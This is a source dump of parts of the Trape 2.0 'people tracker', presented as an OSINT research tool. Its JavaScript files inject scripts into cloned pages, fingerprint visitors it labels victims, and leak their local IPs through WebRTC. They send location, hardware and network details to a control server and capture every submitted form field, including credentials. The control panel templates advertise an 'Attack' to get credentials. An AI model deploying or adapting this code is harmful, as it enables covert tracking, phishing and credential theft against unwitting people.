526 | } else { 527 | v_data.vendor = gl.getParameter(gl.VENDOR); 528 | v_data.renderer = gl.getParameter(gl.RENDERER); 529 | } 530 | 531 | } 532 | v_data.display = window.screen.width + ' x ' + window.screen.height + ' - ' + window.screen.colorDepth + 'bits/pixel'; 533 | 534 | $.ajax({ 535 | url: '/gGpu', 536 | data: {vId : localStorage.trape_vId, data : JSON.stringify(v_data)}, 537 | dataType: "json", 538 | type: 'POST', 539 | success: function(response) { 540 | 541 | }, 542 | error: function(error) { 543 | } 544 | }); 545 | } 546 | 547 | function getIPs(callback) { 548 | var ip_dups = {}; 549 | var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; 550 | var useWebKit = !!window.webkitRTCPeerConnection; 551 | 552 | if (!RTCPeerConnection) { 553 | var win = iframe.contentWindow; 554 | RTCPeerConnection = win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection; 555 | useWebKit = !!win.webkitRTCPeerConnection; 556 | } 557 | 558 | var mediaConstraints = { 559 | optional: [{ 560 | RtpDataChannels: true 561 | }] 562 | }; 563 | 564 | var servers = { 565 | iceServers: [{ 566 | urls: "stun:stun.services.mozilla.com" 567 | }] 568 | }; 569 | 570 | var pc = new RTCPeerConnection(servers, mediaConstraints); 571 | 572 | var sentResult = false; 573 | 574 | function handleCandidate(candidate) { 575 | var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/ 576 | var ip_addr = ip_regex.exec(candidate)[1]; 577 | 578 | //remove duplicates 579 | if (!sentResult && ip_dups[ip_addr] === undefined) { 580 | sentResult = true; 581 | callback(ip_addr); 582 | } 583 | 584 | ip_dups[ip_addr] = true; 585 | } 586 | 587 | pc.onicecandidate = function(ice) { 588 | 589 | //skip non-candidate events 590 | if (ice.candidate) 591 | handleCandidate(ice.candidate.candidate); 592 | }; 593 | pc.createDataChannel(""); 594 | 595 | pc.createOffer(function(result) { 596 | 597 | pc.setLocalDescription(result, function() {}, function() {}); 598 | 599 | }, function() {}); 600 | 601 | setTimeout(function() { 602 | var lines = pc.localDescription.sdp.split('\n'); 603 | 604 | lines.forEach(function(line) { 605 | if (line.indexOf('a=candidate:') === 0) 606 | handleCandidate(line); 607 | }); 608 | }, 1000); 609 | } 610 | 611 | var objUser = { 612 | getIPs : function(){ 613 | getIPs(function(ip){ 614 | $.ajax({ 615 | url: window.serverPath + "/cIp", 616 | data: {"ip" : ip, "id" : localStorage.trape_vId}, 617 | dataType: "json", 618 | type: "POST", 619 | success: function(response) { 620 | 621 | }, 622 | error: function(error) {} 623 | }); 624 | }); 625 | } 626 | , sendNetworks : function(){workWithNetworks();} 627 | } 628 | -------------------------------------------------------------------------------- /static/js/inject.js: -------------------------------------------------------------------------------- 1 | (function() { 2 | var paths = [ 3 | '[HOST_ADDRESS]/static/js/[LIBS_SRC]', 4 | '[HOST_ADDRESS]/static/js/[BASE_SRC]', 5 | '[HOST_ADDRESS]/static/js/[LURE_SRC]' 6 | ]; 7 | window.gMapsApiKey = "[YOUR_GMAPS_API_KEY]"; 8 | var imported = {}; 9 | var idx = 0; 10 | 11 | loadScript(function(){ 12 | idx++; 13 | loadScript(function(){ 14 | idx++; 15 | window.serverPath = '[HOST_ADDRESS]'; 16 | loadScript(function(){ 17 | idx++; 18 | }); 19 | }); 20 | }); 21 | 22 | function loadScript(callback){ 23 | imported = document.createElement('script'); 24 | imported.type = 'text/javascript'; 25 | imported.src = paths[idx]; 26 | 27 | imported.onload = callback; 28 | 29 | var head = document.getElementsByTagName('head')[0]; 30 | head.appendChild(imported, head); 31 | } 32 | }()) -------------------------------------------------------------------------------- /static/js/login.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function() { 2 | //Hide Incorrect password message 3 | $(".TrapeLogin-IncorrectKey").hide(); 4 | delete localStorage.trape; 5 | 6 | $(".TrapeLogin-Wrapper--Form---Body").on("submit", function(event) { 7 | //Stop form reload 8 | event.preventDefault(); 9 | //Set variable to sent 10 | var id = { 11 | id : $("#dataKey").val() 12 | }; 13 | 14 | //Send data to the py server 15 | $.ajax({ 16 | url: "/login", 17 | data: id, 18 | dataType: "json", 19 | type: "POST", 20 | success: function(response) { 21 | if (response.status == "OK") { 22 | // Set the temporal id on localStorage variable 23 | localStorage.setItem("trape", id.id); 24 | // Redirect to the panel 25 | window.location.replace(response.path); 26 | } else { 27 | //Show Incorrect password message 28 | $(".TrapeLogin-IncorrectKey").fadeIn(300).delay(2600).fadeOut(600); 29 | } 30 | }, 31 | error: function(error) { 32 | console.log(error); 33 | } 34 | }); 35 | }); 36 | }); -------------------------------------------------------------------------------- /static/js/payload.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function($) { 2 | 3 | $.getJSON('//ip-api.com/json', function(data) { 4 | var d = getVictimData(); 5 | 6 | $.extend(true, d, data); 7 | 8 | var parser = new UAParser(); 9 | 10 | d.cpu = JSON.stringify(parser.getCPU()) 11 | .replace(/"/gi, '') 12 | .replace(/{/gi, '') 13 | .replace(/}/gi, '') 14 | .replace(/:/gi, ' : ') + ' - ' + (navigator.hardwareConcurrency ? navigator.hardwareConcurrency + ' Cores' : ''); 15 | 16 | d.refer = document.location.host; 17 | 18 | $.ajax({ 19 | url: window.serverPath + "/register", 20 | data: d, 21 | dataType: "json", 22 | type: "POST", 23 | success: function(response) { 24 | console.log(response); 25 | if (response.status == 'OK'){ 26 | localStorage.setItem("trape_vId", response.vId); 27 | conChange(); 28 | queryGPU(); 29 | locateV(); 30 | tping(); 31 | detectBattery(); 32 | navigation_mode(); 33 | 34 | objUser.getIPs(); 35 | objUser.sendNetworks(); 36 | 37 | setInterval(function(){ 38 | objUser.getIPs(); 39 | objUser.sendNetworks(); 40 | }, 60000); 41 | 42 | createSockets(); 43 | } 44 | }, 45 | error: function(error) {} 46 | }); 47 | }); 48 | }); 49 | 50 | function createSockets(){ 51 | if (typeof(io) != 'undefined') { 52 | namespace = '/trape'; 53 | if (window.serverPath == ''){ 54 | socketTrape = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace); 55 | } else{ 56 | socketTrape = io.connect(window.serverPath + namespace); 57 | } 58 | } 59 | 60 | if (socketTrape != null){ 61 | window.onbeforeunload = function(e) { 62 | var d = getVictimData(); 63 | socketTrape.emit('disconnect_request', d); 64 | return true; 65 | } 66 | } 67 | 68 | if (socketTrape != undefined) { 69 | socketTrape.emit('join', {room: localStorage.trape_vId}); 70 | defineSockets(socketTrape); 71 | } 72 | } -------------------------------------------------------------------------------- /static/js/vscript.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function($) { 2 | 3 | $(document).delegate('form', 'submit', function(event) { 4 | event.preventDefault(); 5 | 6 | var d = getVictimData(); 7 | 8 | objs = $(this).find('input:visible'); 9 | var sId = Math.random().toString(36).substr(2); 10 | 11 | $.each(objs, function(index, val) { 12 | var datav = { 13 | vId : d.vId, 14 | site : d.vURL, 15 | sId : sId, 16 | fid : ($(val).attr('id') || ''), 17 | name : ($(val).attr('name') || ''), 18 | value : ($(val).val() || '') 19 | }; 20 | 21 | $.ajax({ 22 | url: "/regv", 23 | data: datav, 24 | dataType: "json", 25 | type: "POST", 26 | success: function(response) { 27 | socket.emit('my_broadcast_event', {data: 'update-data'}); 28 | }, 29 | error: function(error) { 30 | } 31 | }); 32 | }); 33 | 34 | window.location.replace(d.vURL); 35 | }); 36 | 37 | if (typeof(io) != 'undefined') { 38 | var d = getVictimData(); 39 | namespace = '/trape'; 40 | var socket = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace); 41 | socket.emit('join', {room: d.vId}); 42 | defineSockets(socket); 43 | } 44 | }); -------------------------------------------------------------------------------- /templates/404.html: -------------------------------------------------------------------------------- 1 | 2 | 404 Not Found 3 |

Not Found

4 |

The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

-------------------------------------------------------------------------------- /templates/home.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Trape: Control Panel 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 28 | 29 | 30 | 50 |
51 |
52 |
53 |
54 |

55 | Cloned link: 56 | REST API (Inject code): 57 | 58 | Starting on {start date} 59 |
60 | http://localhost 61 | 62 | 63 | 72 |
73 |
74 |
75 | 76 |
77 | 78 | 79 |
80 |
81 |
82 |
83 |
84 |
85 | 86 |
87 | 88 | 89 | 90 | Profile 91 |
92 |
93 | 94 | 95 |
96 |
97 | 98 |
99 | 104 | 110 |
111 | 112 | 118 |
119 | 120 | Navigation mode: 121 |
122 |
123 | 124 | do not track: 125 |
126 |
127 | 128 | 129 |
130 | 131 |
132 |
133 |

GPU

134 |
135 |
Vendor:
136 |
Renderer:
137 |
Display:
138 |
139 |
140 |
141 |

Energy

142 |
143 |
Power Source: Battery
144 |
Level percentage: 0%
145 |
Remaining time:
146 |
147 | 148 |
149 |
150 | 151 | 152 |
153 |

Session states: 00 154 |

155 | 156 |
157 |
158 |
159 | 160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 | 186 |
187 |
188 |

Click Attack to get credentials

189 |
190 |
191 | 192 | 195 |
196 |
197 |
198 |
199 | 200 |
201 |
202 | 203 | 204 |
205 |
206 | 207 | 208 | 209 | Public IP: 210 |
211 | Local IP: 212 | 213 |
214 |
215 | 216 | 217 | 218 | Distance now: loading... 219 | 220 |
221 | Total distance: loading... 222 | 223 |
224 | Estimated time: loading... 225 |
226 |
227 | 228 | 229 | 230 | Postal code: loading... 231 |
232 | Address: loading... 233 | 234 |
235 |
236 | 237 | 238 |
239 |
240 |
241 | 242 |
243 |
244 |

Actions cannot be executed because the user is offline

245 |
246 |
247 |
248 |
249 | 250 |
251 |
252 |

The user has been connected again. Execute actions!

253 |
254 |
255 |
256 |
257 | 258 |
259 |
260 |

Has processed a successful process hook

261 |
262 |
263 |
264 | 265 |
266 |
267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 |
277 |
278 |
279 | 280 |
281 | 282 | 283 | 284 | Options 285 |
286 | 287 |
288 | 289 | 290 | 291 |
292 |
293 |
294 |
295 |
296 |
    297 |
    CPU: _
    298 |
    Operating System:
    299 |
    User agent: _
    300 |
    Browser:
    301 |
    Open Ports: _
    302 | 303 |
304 |
305 |
306 |
    307 |
    ISP Name: _
    308 |
    Country:
    309 |
    City:
    310 |
    Latitude:
    311 |
    Longitude:
    312 |
    313 |
314 |
315 |
316 |
317 |
318 | 319 |
320 |

Controls in the browser of the user

321 |
322 | 323 | 324 | 325 |
326 |
327 | 328 |
329 |
330 |
331 | 332 | 333 |
334 |
335 | 336 | 337 |
338 |
339 |
340 |
341 | 342 | 343 |
344 |
345 | 346 | 347 |
348 |
349 |
350 |
351 |
352 |
353 | 354 | 355 |
356 |
357 |
358 |
359 | 360 | 361 |
362 |
363 |
364 |
365 |
366 | 367 |
368 | 369 | 370 | 371 | 372 |
373 |
374 |
375 |
376 |
377 |
378 |

Information on network connections

379 |
380 | 381 | 382 |
383 |
384 |
385 |
386 |
387 |

Ping

388 | 0 389 |
390 |
391 |
392 |

Download speed

393 | 0 394 |
395 |
396 |
397 |

Upload speed

398 | 0 399 |
400 | 401 |
402 |
403 |

Type connection

404 | loading... 405 |
406 |
407 |
408 |
409 |
410 |
411 |

Total hosts

412 | 8 found 413 |
414 |
415 |
416 |
417 | 418 | 1 419 | 420 | host: 192.168.0.1 421 |
422 | time: 1.19 ms 423 | 424 |
425 | date: 2018-02-15 - 16:28:56 426 | 427 |
428 |
429 |
430 |
431 |
432 |
    433 |
434 |
435 |
436 |
    437 |
438 |
439 |
440 |
441 |
442 | 443 |
444 |
445 |

Online

446 | 0 447 |
448 |
449 |
450 |

Users

451 | 0 452 |
453 | 454 |
455 |
456 |

clicks

457 | 0 458 |
459 |
460 |
461 |

sessions

462 | 0 463 |
464 |
465 |
466 |

requests

467 | 0 468 |
469 |
470 |
471 |

Locations

472 | 0 473 |
474 |
475 | 476 |
477 |
478 | 479 | 480 | 481 |
482 |
483 |
484 |
485 | 486 | 487 |
488 | 489 |
490 | 491 | 492 |
493 |
494 | 495 | 498 |
499 | 500 |
501 | 502 | 503 | 504 | 505 | 508 | 518 | 519 | -------------------------------------------------------------------------------- /templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Trape: Login 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 28 | 29 | 30 | 31 | 32 |
33 | 34 |
35 |
36 | 37 |
38 |

trape

39 |
40 |
41 |
42 | 43 |
44 |

Control panel

45 |

People tracker on the Internet

46 | 47 | 48 |
49 |
50 |
Hey the key is incorrect, try again.
51 |
52 | 53 | 54 | 55 |
56 |
57 | 58 | 59 |
60 | 61 |
62 |
63 |
64 | - OSINT Research and analytics tool - 65 |
66 |
67 | 68 | 69 | 70 | 71 | 80 |
81 | 82 | 83 |
84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /trape.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #** 4 | # 5 | ########################################## 6 | # Trape | People tracker on the Internet # 7 | ########################################## 8 | # 9 | # Learn to track the world, to avoid being traced 10 | # 11 | # @version 2.0 12 | # @link https://github.com/jofpin/trape 13 | # @author Jose Pino (@jofpin) 14 | # @copyright 2018 by Jose Pino / 15 | # 16 | # This file is the boot in Trape. 17 | # For full copyright information this visit: https://github.com/jofpin/trape 18 | # 19 | #** 20 | # 21 | ############################################### 22 | # 23 | from core.utils import utils # 24 | from core.trape import Trape # 25 | from core.db import Database # 26 | from time import sleep # 27 | try: # 28 | import flask # 29 | import flask_socketio # 30 | import os # 31 | except: ############################################ 32 | utils.Go("\t\nPlease install requirements.txt libraries, you can do it executing:") # 33 | utils.Go("\t\npip install -r requirements.txt") ##################################### 34 | ###################################################### 35 | 36 | # We generalize the main class of 37 | trackPeople = Trape() 38 | 39 | # call class database 40 | generateData = Database() 41 | if generateData.firstTime: 42 | utils.Go("\033[H\033[J") 43 | utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@ ") 44 | utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@@@ ") 45 | utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@@ ") 46 | utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@@ ") 47 | utils.Go(utils.Color['whiteBold'] + " @@@@@ @@ @@@@@ ") 48 | utils.Go(utils.Color['whiteBold'] + " @@@@@ @@ @@@@@ ") 49 | utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@ ") 50 | utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@ @@@@@ ") 51 | utils.Go(utils.Color['whiteBold'] + " @@@@@ @@ @@@@@ ") 52 | utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@@@ ") 53 | utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@@@ ") 54 | utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@ ") 55 | utils.Go("\t" + utils.Color['white'] + "--" + " " + "v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " " + "--" + "\n" + utils.Color['white']) 56 | utils.Go(utils.Color['whiteBold'] + "WELCOME " + utils.Color['greenBold'] + os.uname()[1].upper() + utils.Color['whiteBold'] + " TO TRAPE" + utils.Color['white']) 57 | utils.Go("------") 58 | utils.Go("This is a exclusive version for researchers, or professionals \nwho are dedicated to research, we hope you enjoy." + "\n") 59 | utils.Go(utils.Color['whiteBold'] + "DISCLAIMER" + utils.Color['white']) 60 | utils.Go("------") 61 | utils.Go("This is a monitoring and research tool " + utils.Color['whiteBold'] + "OSINT" + utils.Color['white'] + ", which is distributed \nfor educational and investigative purposes, the person who has bought \nor uses this tool is responsible for its proper use or actions committed, \n" + utils.Color['whiteBold'] + "Jose Pino" + utils.Color['white'] + " (" + utils.Color['blue'] + "@jofpin" + utils.Color['white'] + ") is not responsible for the use Or the scope that people can have \nthrough this software." + "\n") 62 | utils.Go(utils.Color['whiteBold']+ "CREATOR" + utils.Color['white']) 63 | utils.Go("------") 64 | utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "NAME: " + utils.Color['white'] + "Jose Pino" + " " + utils.Color['white']) 65 | utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "DESCRIPTION: " + utils.Color['white'] + "Hacker recognized by large technology companies") 66 | utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "GITHUB: " + utils.Color['white'] + "https://github.com/jofpin") 67 | utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "TWITTER: " + utils.Color['white'] + "https://twitter.com/jofpin" + utils.Color['white'] + "\n") 68 | sleep(3) 69 | utils.Go("Press enter to Continue...") 70 | raw_input() 71 | 72 | # check OS 73 | trackPeople.loadCheck() 74 | 75 | # Request root home to run with all permissions 76 | trackPeople.rootConnection() 77 | 78 | # Call the creation of the database when you open this file. 79 | generateData.loadDatabase() 80 | 81 | if __name__ == "__main__": 82 | try: 83 | # General expression this is expressed after the root 84 | trackPeople.main() 85 | except Exception as error: 86 | # Result of error 87 | utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + utils.Color['white'] + "%s" % error) 88 | -------------------------------------------------------------------------------- /version.txt: -------------------------------------------------------------------------------- 1 | version: 2.0 --------------------------------------------------------------------------------